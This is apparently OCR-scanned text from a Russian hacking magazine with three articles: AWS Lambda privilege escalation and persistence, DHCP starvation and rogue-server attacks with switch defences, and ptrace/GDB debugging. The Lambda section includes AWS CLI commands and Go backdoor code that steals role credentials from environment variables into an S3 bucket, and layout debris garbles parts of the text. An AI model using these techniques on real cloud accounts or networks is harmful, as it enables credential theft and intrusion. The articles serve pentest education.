184194106212:role/Lambda-Permisssion-Mgmt-Role --region us-east-2

Успешное создание лямбда функции

Теперь триггерим функцию :

aws lambda invoke --function-name <FunctionName> response.json

--region <регион, в котором находится функция>

Пример :

aws lambda invoke --function-name awsservicelambda response.json

--region us-east-2

В текущей директории появится файлик response.json. Смотрим его и видим ошибку ! Ничего не работает , повысить привиле гии с помощью лямбды нельзя .

Access Denied

Шучу . Давай подумаем : что сейчас произош ло ? Только что код исполнился лишь частично , то есть функция attachrolepolicy успешно отработа ла , поэтому у роли лямбда функции уже есть политика с админис тра тив ным дос тупом. Ты даже можешь это проверить :

aws iam list-attached-role-policies --role-name <привязываемая

роль>

Видим , что к роли успешно привяза лась политика

Нам требует ся лишь вновь затригге рить функцию , после чего можно пос мотреть привязан ные к себе политики :

aws iam list-attached-user-policies --user-name <username>

Успешная эксплу ата ция

Но иногда у нас нет права lambda:InvokeFunction, то есть вызвать командлет aws lambda invoke мы не сможем . В таком случае потребу ется создать асин хронный либо потоковый триггер . Например , свяжем лямбду с таблицей

в какой нибудь базе данных (скажем , DynamoDB) и внесем в нее изменения , что приведет к вызову функции .

Создаем таблицу с включен ной потоковой передачей :

aws dynamodb create-table --table-name <имя таблицы>

--attribute-definitions AttributeName=Test,AttributeType=S

--key-schema AttributeName=Test,KeyType=HASH

--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5

--stream-specification StreamEnabled=true,StreamViewType=

NEW_AND_OLD_IMAGES

Связыва ем функцию и таблицу :

aws lambda create-event-source-mapping --function-name <имя

функции> –event-source-arn <ARN DynamoDB-таблицы> --enabled

--starting-position LATEST

Запус каем поток:

aws dynamodb put-item --table-name <Имя таблицы> --item Test={S=

"просто любая строка"}

Изменение кода функции

Благода ря привиле гии lambda:UpdateFunctionCode пентестер сможет обно вить код существу ющей лямбда функции , заставив ее выполнить вредонос ный код, который, допустим , выдаст ему права (если к лямбде привяза на достаточ но привиле гиро ван ная роль). Далее следует дождать ся вызова функции либо дернуть самостоятель но , если присутс тву ет привиле гия lambda:

InvokeFunction или lambda:CreateEventSourceMapping. Примеры кода мы рассмот рели раньше . А вот обновить код можно , например , так:

aws lambda update-function-code --function-name <функция, на

которую у нас есть права> --zip-file <обновленный код>

# Пример

aws lambda update-function-code --function-name

PentestingForFun --zip-file fileb://my/lambda/code/zipped.zip

Обязатель но учитывай язык, на котором написана лямбда ! Иначе код не запустится .

ЗАКРЕПЛЕНИЕ

Изменение лямбды

Закрепить ся в скомпро метированном облаке достаточ но просто , понадобит ся букваль но несколь ко действий .

Закрепле ние с помощью лямбды

В разделе «Разведка » мы с тобой убедились , что получить исходный код лям бда функции можно с помощью get-function. Твоей задачей будет обна ружить подходящую лямбду и API, с помощью которого можно вызвать фун кцию. После этого меняй текущий код, добавляя в него бэкдор на твое усмотрение .

Убедив шись, что все работает , можно загружать лямбду на сервер :

aws lambda update-function-code --function-name <имя функции,

исходный код которой будет обновлен> --zip-file fileb://<исходный

код>

# Пример

aws lambda update-function-code --function-name

PentestingForFun --zip-file fileb://my-function.zip

Обновля ем код функции

Теперь дергаем гейтвей , чтобы лямбда исполнилась :

curl https://uj3lq1cu8e.execute-api.us-east-2.amazonaws.com/

default/PentestingForFun

Бессерверный бэкдор с интеграцией в S3

Спарк Флоу, автор книг «How to Hack like a...», предложил создать бэкдор на основе S3-бакета. Его принцип действия заключал ся бы в краже из переменных окружения ключей доступа роли, привязан ной к лямбда фун кции. С полным кодом бэкдора можно ознакомить ся на странице GitHub Спар ка.

Разберем некоторые моменты , связан ные с этим интерес ным проектом . Каждая программа на Go, предназна чен ная для работы в среде Lambda, начинается с одной и той же шаблонной функции main, которая регистри рует точку входа Lambda (в данном случае это HandleRequest):

func main() {

lambda.Start(HandleRequest)

}

Дальше идет классичес кий блок кода для сборки HTTP-клиента и создания удален ного URL-адреса S3 для отправки нашего ответа :

const S3BUCKET="<bucket name>

func HandleRequest(ctx context.Context, name MyEvent) (string,

error) {

client := &http.Client{}

respURL := fmt.Sprintf("https://%s.s3.amazonaws.com/setup.txt",

S3BUCKET)

Затем следует выгрузка учетных данных роли Lambda из переменных среды с отправкой их в бакет:

accessKey := fmt.Sprintf(`

AWS_ACCESS_KEY_ID=%s

AWS_SECRET_ACCESS_KEY=%s

AWS_SESSION_TOKEN=%s"`,

os.Getenv("AWS_ACCESS_KEY_ID"),

os.Getenv("AWS_SECRET_ACCESS_KEY"),

os.Getenv("AWS_SESSION_TOKEN"),

)

uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)

При этом перед использовани ем бэкдора нужно убедить ся в том, что сервис S3 может вызвать лямбду . Предос тавить разрешение можно вот так:

aws lambda add-permission --function-name <имя созданной функции>

--region eu-west-1 --statement-id s3InvokeLambda12 --action

"lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn

Затем настро им правило , по которому будет иницииро вано событие (в этом случае бэкдор сработа ет при создании объектов в S3, начинающих ся с пре фикса 2):

aws s3api put-bucket-notification-configuration --region eu-west-1

--bucket mxrads-mywebhook --notification-configuration file://<(

cat << EOF

{

"LambdaFunctionConfigurations": [{

"Id": "s3InvokeLambda12",

"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:

886371554408:function:support-metrics-calc",

"Events": ["s3:ObjectCreated:*"],

"Filter": {

"Key": {

"FilterRules": [{

"Name": "prefix",

"Value": "2"

}]

}

}]

}

EOF

)

И, обратив шись к гейтвею , получим токен роли, привязан ной к лямбде :

curl https://mxrads-report-metrics.s3-eu-west-1.amazonaws.com/

lambda

AWS_ACCESS_KEY_ID=ASIA44ZRK6WSTGTH5GLH

AWS_SECRET_ACCESS_KEY=1vMoXxF9Tjf2OMnEMU...

AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPT..

ВЫВОДЫ

Лямбда встречает ся практичес ки в каждом пентесте AWS. К ней всегда при вязывает ся слишком привиле гиро ван ная роль, у лямбды всегда будут неп рилично большие полномочия . Подобные мисконфи ги зачастую приводят к взлому целого облака ! Лишь четкое понимание и знание работы этой службы поможет нам, этичным хакерам, предот вра тить подобный сценарий и уберечь заказчика от больших проблем .

			hang			e
		C				e	E
	X						E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
	wClick			c					o m	ВЗЛОМ
	wClick			c					o m	ВЗЛОМ
			to	BUY
w
w								.c
	.							.c
	p						g
		df	-x			n		e
			-x		ha

				hang		e
			C			e	E
		X					E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
					BUY
				to	BUY
w Click				to						m
w Click										m
w
	w				c				o
	.							.c
		p					g
			df			n		e
				-x ha

РАЗБИРАЕМ ТЕХНИКИ

DHCP STARVATION

ИDHCP SPOOFING

ИЗАЩИТУ ОТ НИХ

Ты наверняка

сталкивал

ся с DHCP при нас

тройке

роутера . Но

знаешь

ли ты

про опасности

, которые может в себе

скрывать

его неправиль ная

настрой

ка

на сервере

компании

? Восполь зовав

шись

ею, злоумыш

ленник

может не

только

вывести DHCP-сервер

из строя, но и

реализовать

атаку MitM, чтобы

перех

ватить важные

данные . В этой статье я

покажу два вектора

атак на DHCP и дам

советы о том, как обеспечить

безопас

ность.

Alexander Mikhailov

Сетевой инженер в погонах mikhailov.alexander99@yandex.ru

Статья имеет ознакоми

тель ный

характер и пред

назначена

для

специалис

тов

по безопасности

проводя

щих

тестирова

ние

в рамках

контрак та .

Автор и

редакция

не несут

ответствен ности

за любой вред, причинен ный

с примене нием

изложен ной

информации . Распростра

нение

вре

доносных

программ , нарушение

работы систем

и нарушение

тайны

переписки преследу

ются

по закону.

ТЕОРИЯ

При защите сети от атак на DHCP нам очень важно понимать тонкости взаимо действия DHCP-сервера и клиента . Например , какая связь между значени ем MAC-адреса в Ethernet-заголовке и значени ем CHADDR в заголовке DHCP или какие сообщения отправляют ся только DHCP-сервером в адрес клиента , а не наоборот . Но обо всем по порядку . Сначала быстрень ко пробежим ся по основным сообщени ям DHCP и структуре самого DHCP-заголовка .

Сообщения DHCP

Для получения IP-адреса и других сетевых параметров клиенту и серверу DHCP достаточ но обменять ся четырьмя сообщени ями . Клиент , настро енный на автомати чес кое получение IP-адреса , посылает в сеть сообщение

DHCPDISCOVER на бродкасто вые адреса сетевого (255.255.255.255) и каналь ного (FF:FF:FF:FF:FF:FF) уровней , чтобы обнаружить серверы DHCP. В IPзаголовке в поле адреса источника IP-пакета указыва ется 0.0.0.0, так как кли ент еще не получил этот параметр. В поле источника сообщения на канальном уровне указыва ется MAC-адрес клиента .

Получив сообщение DHCPDISCOVER от потенциаль ного клиента , DHCP-сер вер предлага ет свобод ный IP-адрес. Это сообщение , адресован ное от сер вера клиенту , называется DHCPOFFER. На время предложения адрес резер вируется DHCP-сервером и не предлага ется другим клиентам .

Предположим , клиент получил сообщение DHCPOFFER от DHCP-сервера . Тогда он отправляет широковеща тельное сообщение DHCPREQUEST, в котором содержится IP-адрес сервера , выдавшего предложение . Такое широковеща тельное сообщение информирует другие DHCP-серверы о том, что клиент уже принял предложение от одного из серверов . В таком случае остальные серверы DHCP освобож дают зарезервирован ные IP-адреса , и в дальнейшем они могут быть предложены другим клиентам .

Когда сервер получает сообщение DHCPREQUEST, он указыва ет выб ранный клиентом IP-адрес в сообщении DHCPACK и отсылает его в сторону клиента .

Клиент получил все необходимые сетевые параметры , и на этом процесс взаимо действия считает ся завершенным . Но кроме этих основных четырех сообщений , есть еще парочка немаловаж ных:

•DHCPNACK — сообщение , которое посылается от сервера к клиенту , чтобы известить об отказе в аренде IP-адреса ;

•DHCPRELEASE — сообщение от клиента к серверу , которое уведом ляет сервер о том, что клиент больше не желает использовать текущий IP-адрес и сервер может «вернуть » этот адрес в пул свобод ных IP-адресов .

Сосновными сообщени ями разобрались . Теперь подведем небольшой итог: сообщения типа DHCPOFFER, DHCPACK и DHCPNAK отправляют ся только сер

вером в адрес клиента . Запомним . Эта информация нам пригодит ся чуть поз же.

Структура заголовка DHCP

Теперь максималь но кратко рассмот рим заголовок DHCP, инкапсулиру емый

в UDP-дейтаг раммы. Кстати , забыл сказать про транспортный уровень : если речь о DHCP, то сервер и клиент используют 67-й и 68-й порты UDP соответс твенно .

Давай пройдем ся по наиболее интерес ным для нас полям заголовка :

•Op Code — поле, которое указыва ет на тип сообщения . Если происхо дит запрос от клиента к серверу , то в данном поле устанав ливается зна чение 0х01, а обратно — 0х02;

•htype — тип адреса , работающе го на канальном уровне . Для Ethernet

в этом поле устанав лива ется значение 0х01;

• hlen — указыва ет длину адреса канального уровня в байтах

(0х06 для Ethernet);

•xid — идентифика тор транзакции для согласова ния запросов и ответов между ними;

•sec — отобража ет время в секундах , прошед шее с момента , когда клиент начал получать либо обновлять IP-адрес;

•CIADDR — IP-адрес клиента . Это поле заполняет ся в том случае , если кли енту уже назначен IP-адрес и нужно продлить его аренду ;

•YIADDR — сервер заполняет это поле значени ем IP-адреса , который пред лагает клиенту ;

•SIADDR — IP-адрес DHCP-сервера , при отправке клиенту ответных сооб

щений DHCPOFFER и DHCPACK;

•GIADDR — IP-адрес агента ретран слятора (маршру тизатора), разделя юще го сети, в которых находятся клиент и DHCP-сервер ;

•CHADDR — поле, указыва ющее MAC-адрес клиента . На это поле обращаем особое внимание ;

•Option — поле переменной длины , в котором задают дополнитель ные параметры (например , маска подсети , адреса DNS-серверов , адрес шлюза по умолчанию , время аренды адреса ).

Думаю , тут все понятно . Теперь поговорим о поле CHADDR, на котором я акцентировал особое внимание выше. Логично предположить , что значение

в полях CHADDR заголовка DHCP и MAC-адреса источника в Ethernet-заголовке (сообщений от клиента к серверу ) будут идентичны ми.


При нормаль	ном взаимо действии клиента		с сервером	так и есть. Взяли
на заметочку и двигаем		ся к практичес кой части .

ТЕСТИРУЕМ DHCP НА СТОЙКОСТЬ

Лабораторный стенд

Ясобрал все необходимое , что было под рукой:

•маршру тиза тор Cisco 2821;

•коммутатор Cisco Catalyst 2960;

•клиент ский ПК с Kali Linux.

На маршру тиза торе запустил DHCP с выдачей адресов из пула 192.168.1.2– 254. Коммутатор с пустой конфигура цией , как «из коробки ».

DHCP STARVATION

Перед проведе нием атаки DHCP Starvation хочется сделать небольшое ревью. Мы знаем , что DHCP-сервер ведет таблицу соответс твий выданных клиентам IP-адресов и их MAC-адресов и что уже выданный IP-адрес не может быть предложен другому клиенту повторно . Суть атаки DHCP Starvation — «исто щить» сервер DHCP, отправляя ложные пакеты типа DHCPDISCOVER с ран домными MAC-адресами источника . На эти пакет сервер будет реагировать

и резервировать свобод ные IP-адреса из пула, в результате чего некоторое время (пока атака в активной фазе) не сможет выдавать IP-адреса обычным пользовате лям.

В качестве инстру мен та атаки будем юзать Yersinia (тулза названа в честь бактерии ). Кроме DHCP, она умеет атаковать и несколь ко других протоко лов канального уровня .

Выберем протокол DHCP, укажем опцию sending DISCOVER packet и запус тим отправку ложных пакетов DHCPDISCOVER.

Пока идет флуд пакетами , посмотрим на пул адресов DHCP.

Абсолют но все адреса из диапазона 192.168.1.2–254 были зарезервирова ны DHCP-сервером , и, пока флудинг продол жается, сервер не сможет выдать адреса из своего пула новым клиентам . Сервер истощен .

Кстати , такой флуд вполне может вызвать отказ в обслужива нии сервера DHCP. Посмотрим нагрузку на маршру тизаторе:

Процес сор загружен наполовину . И это только от пакетов DHCPDISCOVER (ну ладно , еще STP с CDP каждые пару секунд).

Rogue DHCP или DHCP Spoofing

Второй вектор атак на DHCP требует развернуть мошенничес кий DHCP-сер вер. Нужно это, чтобы выдавать клиентам поддель ные сетевые параметры (в частнос ти — адрес шлюза по умолчанию ) и провес ти MitM. С точки зрения ата кующего , для этого лучше всего первым делом «положить» легитимный DHCPсервер , что мы, собствен но , и сделали выше.

В Yersinia есть функция разверты вания такого DHCP-сервера — creating DHCP rogue server. В качестве параметров укажем адрес поддель ного сер вера, от имени которого будут выдаваться сетевые параметры , диапазон адресов , время их аренды (чем дольше , тем лучше ), маску подсети и самое главное — адрес шлюза по умолчанию — ПК, который будет снифать трафик пользовате лей.

Осталось лишь перевести сетевой интерфейс прослушива ющего ПК в режим форвардин га, а дальше — дело техники : клиент ские устройства , настро енные на автомати ческое получение IP-адресов , будут отправлять широковеща тель ные сообщения DHCPDISCOVER и в ответ получат сетевые параметры от под дельного DHCP-сервера .

А вот так выглядит дамп ICMP-трафика на атакующей машине и схема MitMатаки в нашей лаборатор ной сети.

НЕЙТРАЛИЗУЕМ АТАКИ НА DHCP-ПРОТОКОЛ

Теперь рассмот рим технологии безопасности , предот вра щающие атаки на DHCP. Условно их можно поделить на два вектора : защита от DHCP Starvation и от DHCP Spoofng.

В большинс тве своем нейтра лиза цию атак на DHCP-протокол берет на себя технология DHCP Snooping, а в качестве обязатель ного дополнения к ней стоит использовать Port Security. Обе технологии применя ются на коммутато рах .

Trusted- и Untrusted-порты

Забыть о внезап ном появлении в сети поддель ного сервера DHCP поможет концепция доверенных и недоверен ных портов . Доверенный порт разреша ет пересылку DHCP-сообщений от сервера . Помнишь про сообщения DHCPOFFER, DHCPACK и DHCPNAK, о которых мы говорили в самом начале? Поддель ный DHCP-сервер не сможет предложить клиентам свои ложные параметры отправкой таких сообщений , если будет находиться за ненадежным портом .

Доверен ные порты — это те, которые напрямую подклю чены к DHCP-сер веру или которые «смотрят » в его сторону . Соответс твенно, недоверен ные — это все остальные . В нашей лаборатор ной сети доверенным портом будет только один — G0/1.

После включения DHCP Snooping все порты по умолчанию становят ся недове ренными . Поэтому нужно явно указать коммутато ру доверенный порт. Но перед этим глобаль но включим DHCP Snooping и укажем , в каком VLAN она будет работать. Конфигура ция коммутато ра у меня по умолчанию и все порты принад лежат первому VLAN.

В качестве теста выключим наш DHCP-сервер , откажем ся от выданного им адреса и попытаемся получить IP-адрес от поддель ного DHCP-сервера . Вот что происхо дит на атакующей машине: поддель ный DHCP видит клиент ские сообщения обнаруже ния и усердно пытается предложить свои ложные сетевые параметры , но клиент никак не реагирует на ответы .

А все потому, что коммутатор дропает сообщения DHCPOFFER на ненадежном порту , из за чего клиент и не видит ложное предложение .

Limit Rate

Еще одна очень полезная функция DHCP Snooping — ограниче ние на отправку DHCP-сообщений . Это ограниче ние допускает отправку через порт ком мутатора определен ного количества DHCP-трафика в секунду .

Чтобы задейство вать эту возможность , выберем весь диапазон ненадеж ных портов и установим ограниче ние в десять пакетов в секунду . Cisco рекомендует использовать не более 100 пакетов в секунду , но для нашего тестового стенда хватит и десяти. Важно не урезать безобидный трафик от клиентов .

Снова время эксперимен тов : запустим DoS-рассылку сообщений DHCPDISCOVER и посмотрим , что будет происхо дить . Долго ждать не приходит ся: мгновен но прилета ет консоль ный лог и уведом ляет нас, что на порте F0/2 было получено десять DHCP-пакетов и порт переводит ся в состояние err-disable. Порт F0/2 упал. Далее требует ся вмешатель ство админис тра тора, чтобы восста новить работоспособ ность порта .

Limit Rate полезен тем, что не дает злоумыш ленни ку выполнить отказ в обслу живании или быстро «выжрать » пул адресов , отправляя большое количество DHCP-запросов .

Verify MAC-Address

Функция провер ки MAC-адреса по умолчанию активна при включен ном DHCP Snooping. Но если по каким то причинам она неактивна , то вот синтаксис

для включения .

Раньше я акцентировал внимание на поле CHADDR заголовка DHCP и MACадреса источника Ethernet-заголовка и говорил, что при нормаль ном взаимо действии клиента и сервера значения в этих полях идентичны . При включен ной функции Verify MAC-Address коммутатор проверя ет эти два поля и, если MACадреса различны , дропает их.

Кстати , для провер ки MAC-адреса используют ся ресурсы централь ного процес сора маршру тизатора, что, конечно же, в разы медленнее , чем при обработ ке пакетов ASIC-микросхе мами. При нормаль ной работе сети ощутимо это никак не сказыва ется, но давай смодели руем такую ситуацию : была запущена атака на истощение DHCP, при которой генерирует ся огромное количество пакетов DHCPDISCOVER. Каждый из них будет проверять ся процес сором коммутато ра на соответс твие MAC-адресов .

В течение минуты после начала атаки централь ный процес сор коммутато ра был загружен на 95% из за огромного количества пакетов DHCP, которые он должен обработать . Именно для предот вра щения таких ситуаций и стоит при менять функцию Limit Rate — порт просто уйдет в down, когда допустимое количество пакетов в секунду будет превыше но .

Port Security

Последняя функция защиты коммутато ра , о которой я хочу расска зать . Она не относит ся к технологии DHCP Snooping, но играет большую роль в защите сети от атак на DHCP-протокол . Port Security позволя ет указать MAC-адреса хостов , которым разрешено передавать данные через порт. Для провер ки использует ся MAC-адрес источника в Ethernet-заголовке , и в результате будет принято решение о пропус ке через порт.

Настро им все ненадежные порты на динамичес кое выучивание только одного MAC-адреса с сохранени ем их в текущую конфигура цию коммутато ра. Режим реагирова ния на нарушение правил безопасности укажем shutdown — отключение порта . Но перед этим порты нужно перевести в режим Access.

Если же снова запустить флуд сообщени ями DHCPDISCOVER, где в каждом Ethernet-кадре значение MAC-адреса источника будет уникаль ным , то порт мгновен но перейдет в режим err-disable (прямо как при Limit Rate), так как будет нарушено созданное нами правило запоминания только одного раз решенного MAC-адреса на порте коммутато ра .

Можно посмотреть таблицу , которую ведет коммутатор , где отображено соот ветствие заученных MAC-адресов на каждом интерфейсе .

Истощить DHCP-сервер , изменяя MAC-адрес сетевой платы , не представ ляет труда для злоумыш ленни ка . Да, достаточ но долго , но результатив но . А при включен ной защите порта на коммутато ре такая тактика будет обречена на провал .

ВЫВОДЫ

Может показаться , что атаки DHCP сегодня не так актуаль ны. По моему мне нию, любая атака будет актуаль на при отсутствии должно го внимания к защите сети, а тем более если сетевое оборудо вание работает с настрой ками по умолчанию .

Описан ные в статье технологии защиты сети от атак на протокол DHCP по отдельнос ти не становят ся непреодо лимой стеной для атакующе го. Поэто му именно их комплексное примене ние даст должную защиту DHCP.

			hang			e
		C				e	E
	X						E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
	wClick			BUY					o m	ВЗЛОМ
	wClick		to						o m	ВЗЛОМ


w
w				c				.c
	.			c				.c
	p						g
		df	-x			n		e
			-x		ha

				hang		e
			C			e	E
		X					E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
					BUY
				to	BUY
w Click				to						m
w Click										m
w
	w				c				o
	.				c			.c
		p					g
			df			n		e
				-x ha

АНАЛИЗИРУЕМ ДВОИЧНЫЕ ФАЙЛЫ В LINUX ШТАТНЫМИ СРЕДСТВАМИ

Крис Касперски	Юрий Язев
Известный российский	Широко известен под
хакер. Легенда ][, ex-	псевдонимом yurembo.
редактор ВЗЛОМа. Т акже	Программист, разработчик
известен под	видеоигр, независимый
псевдонимами мыщъх,	исследователь. Старый
nezumi (яп. , мышь), n2k,	автор журнала «Хакер».
elraton, souriz, tikus, muss,	yazevsoft@gmail.com
farah, jardon, KPNC.

Какие инстру мен ты использовать в Linux для реверса бинарных файлов ? В этой статье мы расска жем , как для этих целей применять PTrace и GDB, и покажем, как выг лядит работа с ними.

Редак ция журнала «Хакер» совмес тно с издатель ством БХВ решило адап тировать под современ ные реалии еще одну книгу Криса Каспер ски — «Тех ника отладки программ без исходных текстов ». Время идет, и знания устарева ют, но описан ные в книге технологии востре бованны до сих пор. Мы актуали зируем сведения обо всех упомина емых Крисом програм мных продук тах:


об операци онных	системах , компилято рах , средствах						кодокопания .
А самое главное , будет обновлена					аппарат ная				платформа		с IA-
32 на AMD64: именно этот переход в большей						степени		повлиял		на трансфор
мацию програм мно го обеспечения . Чтобы						оптимизи ровать				приложе ние
для новой архитек туры				, нужно использовать	новые возможнос ти языка ассем
блера и современ		ные	команды подсисте мы работы с памятью. Все эти нюан

сы будут учтены в обновленной версии издания .

ОСОБЕННОСТИ ОТЛАДКИ В LINUX

Первое знакомс тво с GDB (что то вроде debug.com для MS-DOS, только мощ

нее) вызывает у поклонни ков Windows смесь разочарова ния

с отвращени ем ,

а увесис тая документация

вгоняет

в глубокое

уныние , гранича щее

с суицидом .

Отовсюду

торчат рычаги управления , но нету газа и руля. Не хватает

только

каменных

топоров

звериных

шкур. Как линуксоиды

ухитряют

ся

выжить

в агрессивной среде этого первобыт

ного

мира — загадка .

Несколь

ко строчек исходного кода UNIX еще помнят те древние

времена ,

когда ничего похожего на интерак тивную

отладку не существо вало

и единс

твенным

средством

борьбы с ошибками

был аварий ный

дамп памяти. Прог

раммистам

приходи лось

месяцами (!) ползать

по вороху распечаток

, собирая

рассыпав ший ся код в стройную

картину

. Чуть позже появилась

отладоч ная

печать — операто ры вывода, понатыкан ные

в ключевых

местах и распечаты

вающие содержимое

важней ших

переменных . Если происхо дит

сбой, прос

тыня распечаток

(в просторечии

— «портянка ») позволя ет

установить

, чем

занималась программа до этого и кто именно ее так покорежил .

Отладоч ная печать сохранила свою актуаль ность и по сей день. В мире Windows она в основном использует ся лишь в отладоч ных версиях программы

и убирает ся из финальной , что не очень хорошо: когда у конечных пользовате лей происхо дит сбой, в руках остается лишь аварий ный дамп, на котором далеко не уедешь. Согласен , отладоч ная печать кушает ресурсы и отнимает время . Вот почему в UNIX так много систем управления протоко лированием — от стандар тного syslog до продвинуто го Enterprise Event Logging. Они сокраща ют накладные расходы на вывод и журналиро вание, значитель но увеличи вая скорость выполнения программы .

Вот неправиль ный пример использования отладоч ной печати:

#ifdef __DEBUG__

fprintf(logfile, "a = %x, b = %x, c = %x\n", a, b, c);

#endif

А вот — правиль ный пример использования отладоч ной печати:

if (__DEBUG__)

fprintf(logfile, "a = %x, b = %x, c = %x\n", a, b, c);

Отладоч ная печать на 80% устраняет потребнос ти в отладке, ведь отладчик использует ся в основном для того, чтобы определить , как ведет себя прог рамма в конкрет ном месте : выполняет ся условный переход или нет, что воз вращает функция , какие значения содержатся в переменных и т. д. Просто вле пи сюда fprintf/syslog и посмотри на результат !

Человек — не слуга компьюте ра ! Это компьютер придуман для автомати зации человечес кой деятельнос ти (в мире Windows — наоборот ), поэтому Linux «механизиру ет » поиск ошибок настоль ко , насколь ко это только возможно . Включи максималь ный режим предуп режде ний компилято ра или возьми авто номные верификато ры кода (также известные как статичес кие анализа торы ), и баги побегут из программы , как мыщъхи с тонущего корабля . Историчес ки самый первый статичес кий анализа тор кода — LINT — дал имя всем его пос ледователям — линтеры . Windows-компилято ры тоже могут генерировать сообщения об ошибках , по строгос ти не уступающие GCC, но большинс тво программис тов пропус кает их. Культура программи рова ния , блин!

Сущес твует множес тво линтеров , как коммерчес ких, так и свобод ных, проприетар ных и с открытым исходным кодом. Например , популярный ста тический анализа тор кода CppCheck служит , как следует из названия , для ана лиза C/C++-кода. Распростра няется в двух вариантах : с открытыми исходни ками и как платный продукт . Во втором случае он имеет плагины для всех мало мальски популярных сред программи рования в Linux и Windows. CppCheck отличает ся уникаль ным способом анализа , что сводит к минимуму ложные срабаты вания.

Чтобы установить CppCheck в Ubuntu, достаточ но ввести в консоль коман

ду

sudo apt-get install cppcheck

Теперь можно проверять файлы с кодом на наличие потенциаль ных ошибок . Не мудрствуя лукаво, напишем код с глупой ошибкой :

int main() {

int *i = new int();

char *c = (char*)malloc(sizeof(char));

}

Запус тим линтер :

cppcheck second.cpp

CppCheck обнаружил две утечки памяти

Рассмот рим другой пример :

cppcheck first.cpp

CppCheck обнаружил обращение за пределы массива

Рекомен дуется прогонять код под несколь кими линтерами , так как все они работают по разному , следова тельно, каждый из них может обнаружить собс твенный набор ошибок .

Пошаго вое выполнение программы и контроль ные точки останова в Linux используют ся лишь в клиничес ких случаях (типа трепана ции черепа), когда все остальные средства оказыва ются бессиль ными. Поклонни кам Windows такой подход кажется несовремен ным, ущербным и жутко неудобным , но это все потому, что Windows-отладчики эффективно решают проблемы , которые в Linux просто не возника ют. Разница культур программи рования между Windows и Linux в действи тельности очень и очень значитель на, поэтому преж де, чем кидать камни в чужой огород , наведи порядок у себя. Непривыч ное еще не означает неправиль ное. Точно такой же дискомфорт ощущает матерый линуксоид , очутив шийся в Windows.

PTRACE — ФУНДАМЕНТ ДЛЯ GDB

GDB — это системно независимый кросс платформен ный отладчик. Как и большинс тво Linux-отладчиков , он основан на библиоте ке PTrace, реали зующей низкоуров невые отладоч ные примити вы . Для отладки многопо точ ных процес сов и параллель ных приложе ний рекомендует ся использовать допол нительные библиоте ки , посколь ку GDB с многопо точ ностью справляет ся не лучшим образом . Среди софта для отладки многопо точ ных приложе ний особую популярность завоевал TotalView. Этот програм мный пакет использует ся для отладки программ на суперкомпь юте рах , посему он не по карману простым смертным .

Внешний вид отладчика TotalView, специали зиру юще гося на параллель ных приложе ниях

PTrace может переводить процесс в состояние останова и возобновлять его выполнение , читать и записывать данные в адресном пространс тве отлажива емого процес са , читать и записывать регистры централь ного процес сора .

На архитек туре x86-64 это регистры общего назначения , сегмен тные регистры (доставши еся ей по наследс тву ), регистры SSE и отладоч ные регис тры семейства DRx (они нужны для организа ции аппарат ных точек останова ). В Linux еще можно манипулиро вать служеб ными структурами отлажива емо го процес са и отслеживать вызов системных функций . В «оригиналь ном » UNIX этого нет, и недостающую функци ональ ность приходит ся реализовы вать уже в отладчике .

Вот пример использования PTrace в Linux:

#include <stdio.h>

#include <stdlib.h>

#include <signal.h>

#include <sys/ptrace.h>

#include <sys/types.h>

#include <sys/wait.h>

#include <unistd.h>

#include <errno.h>

int main()

{

int	pid;	// PID		отлаживаемого процесса
int	wait_val;	// Сюда wait записывает
		//	возвращаемое значение
long long counter =			1;	// Счетчик трассируемых инструкций

//Расщепляем процесс на два

//Родитель будет отлаживать потомка

//(обработка ошибок для наглядности опущена) switch (pid = fork())

{

case 0: // Дочерний процесс (его отлаживают)

// Папаша, ну-ка, потрассируй меня! ptrace(PTRACE_TRACEME, 0, 0, 0);

//Вызываем программу, которую надо отрассировать

//(для программ, упакованных шифрой, это не сработает) execl("/bin/ls", "ls", 0);

break;

default: // Родительский процесс (он отлаживает)

//Ждем, пока отлаживаемый процесс

//не перейдет в состояние останова wait(&wait_val);

//Трассируем дочерний процесс, пока он не завершится while (WIFSTOPPED(wait_val) /* 1407 */)

{

//Выполнить следующую машинную инструкцию

//и перейти в состояние останова

if (ptrace(PTRACE_SINGLESTEP,

pid, (caddr_t) 1, 0)) break;

//Ждем, пока отлаживаемый процесс

//не перейдет в состояние останова wait(&wait_val);

//Увеличиваем счетчик выполненных

//машинных инструкций на единицу counter++;

}

// Вывод количества выполненных машинных инструкций на экран

printf("== %lld\n", counter);

return 0;

}

В результате выполнения этого приложе ния на моей машине в консоль передается следующий вывод.

Вывод приложе ния ptrace_test

PTRACE И ЕГО КОМАНДЫ

В user-mode доступна всего лишь одна функция :

ptrace((int _request, pid_t _pid, caddr_t _addr, int _data))

Но зато эта функция делает все! При желании ты можешь за пару часов написать собствен ный мини отладчик, специаль но заточенный под конкрет ную проблему .

Аргумент _request функции ptrace важней ший из всех — он определя ет, что мы будем делать. Заголовоч ные файлы в BSD и Linux используют раз личные определе ния, затрудняя перенос приложе ний PTrace с одной плат формы на другую . По умолчанию мы будем использовать определе ния из заголовоч ных файлов Linux.

•PTRACE_TRACEME — переводит текущий процесс в состояние останова . Обычно использует ся совмес тно с fork, хотя встречают ся также и самот рассирующиеся приложе ния. Для каждого из процес сов вызов PTRACE_TRACEME может быть сделан лишь однажды. Трассировать уже трассиру емый процесс не получится (менее значимое следствие — про

цесс не может трассировать сам себя, сначала он должен расщепить ся ). На этом основано большое количество антиотла доч ных приемов , для пре одоления которых приходит ся использовать отладчики , работающие

в обход PTrace. Отлажива емо му процес су посылается сигнал , переводящий его в состояние останова , из которого он может быть выведен командой

PTRACE_CONT или PTRACE_SINGLESTEP, вызванной из контек ста родительско го процес са. Функция wait задержива ет управление материн ского процес са до тех пор, пока отлажива емый процесс не перейдет в сос тояние останова или не завершится (тогда она возвра щает значение 1407). Остальные аргумен ты игнориру ются.

•PTRACE_ATTACH — переводит в состояние останова уже запущенный про цесс с заданным PID, при этом процесс отладчик становит ся его предком . Остальные аргумен ты игнориру ются. Процесс должен иметь тот же самый UID, что и отлажива ющий процесс , и не быть процес сом setuid/setduid (или отлаживать ся каталогом root).

